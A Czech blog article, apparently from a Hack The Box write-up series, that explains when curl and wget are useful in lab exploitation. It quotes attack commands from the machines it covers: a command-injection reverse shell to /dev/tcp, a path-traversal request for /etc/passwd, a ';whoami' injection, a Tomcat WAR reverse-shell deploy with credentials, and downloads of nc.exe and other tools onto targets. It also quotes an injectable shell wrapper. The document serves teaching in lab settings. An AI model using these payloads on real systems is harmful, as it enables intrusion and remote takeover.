wget a curl
Úvod a kontext
wget a curl se v rozborech objevují skoro všude, ale většinou jen na jeden nebo dva příkazy. To dobře odpovídá jejich skutečné roli. Nejsou to exploit frameworky ani plnohodnotné skenery. Jsou to dvě velmi praktické utility pro okamžik, kdy je potřeba přesně stáhnout, odeslat nebo zrcadlit konkrétní HTTP obsah a nechcete kvůli tomu vytahovat těžší tooling.
Na Controlu nebo Secretu curl přesně skládá request s hlavičkami a tokeny. Na OpenAdminu, Fortress Jet nebo Registry je naopak praktičtější wget, protože jde o stahování webu, artefaktu nebo chráněného souboru. Smysl těchto nástrojů je tedy jiný než u Gobusteru nebo Dirsearch: nehledají útokovou plochu, ale pomáhají přesně pracovat s tou, kterou už znáte.
Co tyhle nástroje v praxi řeší
Oba nástroje umí HTTP, ale jejich praktická síla je trochu jinde:
curlje přesný ruční klient pro metody, hlavičky, cookies, JSON, localhost API a rychlé ověření hypotézy.wgetje pohodlnější pro prosté stažení souboru, zrcadlení webu, pokračování přerušeného downloadu nebo jednoduché doručení payloadu na host.
Právě proto se na blogu často střídají. Jakmile je potřeba sestavit jeden přesný request, vede curl. Jakmile jde hlavně o stažení nebo zrcadlení, bývá praktičtější wget.
Nejčastější scénáře využití v tomto projektu
curl: ruční HTTP request s hlavičkami a přesným tělem
Na Controlu nestačilo otevřít admin.php v browseru. Rozhodující byla specifická hlavička:
curl -H "X-Forwarded-For: 192.168.4.28" http://control.htb/admin.php
Tady curl neřeší exploit. Jen dovolí přesně nasimulovat to, co backend považuje za důvěryhodný provoz.
Na Secretu je stejná logika vidět ještě čistěji. Endpoint nevyžadoval jen URL, ale i JWT v nestandardní hlavičce:
curl -i -H "auth-token: <admin-jwt>" "http://10.10.11.120:3000/api/logs?file=.env;whoami"
Na Devzatu se zase curl hodí jako nejjednodušší způsob, jak poslat JSON do API a okamžitě ověřit LFI i command injection:
curl 'http://pets.devzat.htb/api/pet' --data-raw '{"name":"AAAAA","species":"../../../../../etc/passwd"}'
curl 'http://pets.devzat.htb/api/pet' --data-raw '{"name":"AAAAA","species":"cat;/bin/bash -c '\''bash -i >& /dev/tcp/10.10.14.11/4000 0>&1'\''"}'
To je přesně chvíle, kdy browser přestává být pohodlný a curl je nejrychlejší cesta k opakovatelnému requestu.
curl: práce s localhost a interními API po footholdu nebo pivotu
Jakmile je získaný shell nebo postavený port forward, curl často slouží jako jednoduchý průzkumník interních služeb.
Na Luanne po user footholdu vrací lokální endpoint soukromý klíč:
curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa
Na ServMonu jde přes lokálně přeposlaný port nahrát skript do NSClient++ API a následně ho spustit:
curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/nc3.bat --data-binary @nc.bat
curl -s -k -u admin "https://localhost:8443/api/v1/queries/nc3/commands/execute?time=3m"
Na Tentacle se stejný nástroj používá přes Proxychains, protože cílová služba není dosažitelná přímo:
proxychains curl http://wpad.realcorp.htb/wpad.dat
To je praktický pattern, který se opakuje i v dalších článcích: jakmile je interní služba nějakým způsobem dosažitelná, curl je první rychlá volba pro její ověření.
curl: uploady, deploy a doručení payloadu
curl se v projektu často používá i jako čistý transport pro payload nebo deploy artefakt.
Na Tabby nahrává WAR přímo do Tomcat Manageru:
curl -u 'tomcat':'$3cureP4s5w0rd123!' -T shell.war 'http://10.10.10.194:8080/manager/text/deploy?path=/rev_shell'
curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/rev_shell/
Na BountyHunteru zase stačí jediný přesný POST s base64-encoded XML, aby bylo možné ověřit XXE workflow. A na Cerealu curl slouží k prostému doručení binárek na host po získání user přístupu.
V tom je jeho síla: pokud endpoint už znáte a potřebujete jen přesně trefit jeho vstup, není nutné sahat po těžším toolingu.
wget: rychlé stažení artefaktu a payload delivery
wget je naopak nejsilnější tehdy, když není potřeba řešit složité hlavičky, ale jen spolehlivě stáhnout obsah.
Na Bankrobberu a Buffu slouží k doručení pomocných souborů na host:
wget http://10.10.14.11:8000/brute.ps1 -outfile brute.ps1
powershell "wget http://10.10.14.9:8000/exe/nc.exe -outfile c:\programdata\nc.exe"
Na Registry je dobře vidět i druhá silná stránka wget: pohodlné stažení chráněného artefaktu z HTTP endpointu s autentizací.
wget --http-user=admin --http-password=admin \
http://registry.htb/install.php.bak
Na TheNotebooku nebo Irkedu se objevuje úplně stejný pattern. Nástroj neřeší exploit. Jen výrazně zjednoduší přenos konkrétního souboru.
wget: zrcadlení webu a offline čtení statického obsahu
Na OpenAdminu a Fortress Jet je důležitější jiná vlastnost: wget a podobné utility umí web jednoduše stáhnout nebo zrcadlit tak, aby šel procházet offline.
wget -r -nd --delete-after -nv --ignore-tags=img,link,script http://openadmin.htb/music/
Když je web záměrně chudý, ale ve statickém obsahu se schovává další cesta, bývá takové stažení rychlejší než ruční proklikávání. Pro plnohodnotnější zrcadlení celého stromu je ještě praktičtější Httrack, který na stejný problém míří systematičtěji.
Bohatý CLI nástroj jako útoková plocha
Unicode ukazuje důležitou obrácenou perspektivu. Tam nebyl problém v tom, že by útočník curl používal přímo. Problém byl v privilegovaném wrapperu treport, který sestavoval shellový příkaz nad curl z uživatelského vstupu:
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
Proto je dobré vnímat curl i obranně. Má hodně přepínačů a když se jeho parametry skládají nesprávně, uživatel neovládá jen URL, ale celé chování nástroje. Praktický problém tedy často neleží v curl samotném, ale v tom, jak ho volá okolní aplikace.
Kdy dává smysl curl a kdy wget
curl se vyplácí hlavně tehdy, když:
- už existuje konkrétní HTTP endpoint,
- potřebujete ručně řídit hlavičky, metodu nebo tělo,
- pracujete s interní nebo localhost službou,
- nebo chcete zautomatizovat několik přesných požadavků bez browseru.
wget se vyplácí hlavně tehdy, když:
- potřebujete prostě stáhnout soubor,
- chcete zrcadlit část webu,
- pracujete s jednoduchou autentizací,
- nebo doručujete payload na host bez potřeby složitějšího HTTP chování.
Naopak ani jeden z nich není ideální jako první objevovací nástroj. Když teprve hledáte útokovou plochu, dává větší smysl WhatWeb, Gobuster, Dirsearch nebo Wfuzz.
Nejčastější chyby v praxi
Zaměnění přenosu za exploit
Na Controlu, Secretu i ServMonu curl jen doručuje správně sestavený request. Samotná zranitelnost leží jinde:
- v důvěře v hlavičku,
- v command injection,
- nebo v nechráněném admin API.
Stejně tak na Buffu, Registry nebo TheNotebooku wget není “útok”, ale čistě transportní vrstva.
Příliš dlouhé zůstávání u browseru nebo GUI klientu
Jakmile je potřeba opakovat stejný request s malými obměnami, browser začíná brzdit. curl v takové chvíli zkrátí cestu mezi hypotézou a ověřením.
Jakmile je potřeba stáhnout víc souborů nebo obsah analyzovat offline, totéž platí pro wget a podobné download utility.
Ignorování interní dosažitelnosti
Na ServMonu, Luanne nebo Tentacle nebyl hlavní problém v syntaxi požadavku, ale v tom, jak se k endpointu dostat. curl je užitečný až ve chvíli, kdy je vyřešený port forward, proxy nebo foothold.
Podcenění toho, co všechno curl umí
Právě Unicode připomíná, že wrapper nad curl není bezpečný jen proto, že “stahuje soubor”. Jakmile vstup ovlivní parametry, může uživatel měnit i výstupní cestu nebo další chování nástroje.
U wget je zase častá chyba představa, že je vhodný pro všechno. Jakmile je potřeba složitější práce s hlavičkami, tokeny, JSON tělem nebo metodou PUT, bývá rychlejší přejít na curl.
Související články v projektu
- Rozbory: OpenAdmin, Control, Devzat, Secret, ServMon, Luanne, Tentacle, Tabby, Registry, Buff, Fortress Jet, Unicode
- Techniky: Lokálně dostupné služby po footholdu: localhost není boundary, SSRF, reverse proxy a localhost trust assumptions, Port forwarding, proxy a protokolové mosty jako exploitační primitivum, Nebezpečné uploady: polygloty, WAR deploy a plugin upload
Co si odnést do praxe
curlawgetřeší podobnou vrstvu, ale ne stejný problém.curlje přesný ruční klient,wgethlavně downloader a jednoduchý zrcadlič webu.- Největší hodnotu mají ve chvíli, kdy už znáte konkrétní endpoint, soubor nebo interní službu a potřebujete s ní pracovat rychle a opakovatelně.
- Samy o sobě nic nelámou. Zrychlují práci v okamžiku, kdy už máte hypotézu a potřebujete ji ověřit nebo doručit další krok.
Další Související Články V Projektu
HTB Stroje
Techniky
- SSRF, reverse proxy a localhost trust assumptions
- Lokálně dostupné služby po footholdu: localhost není boundary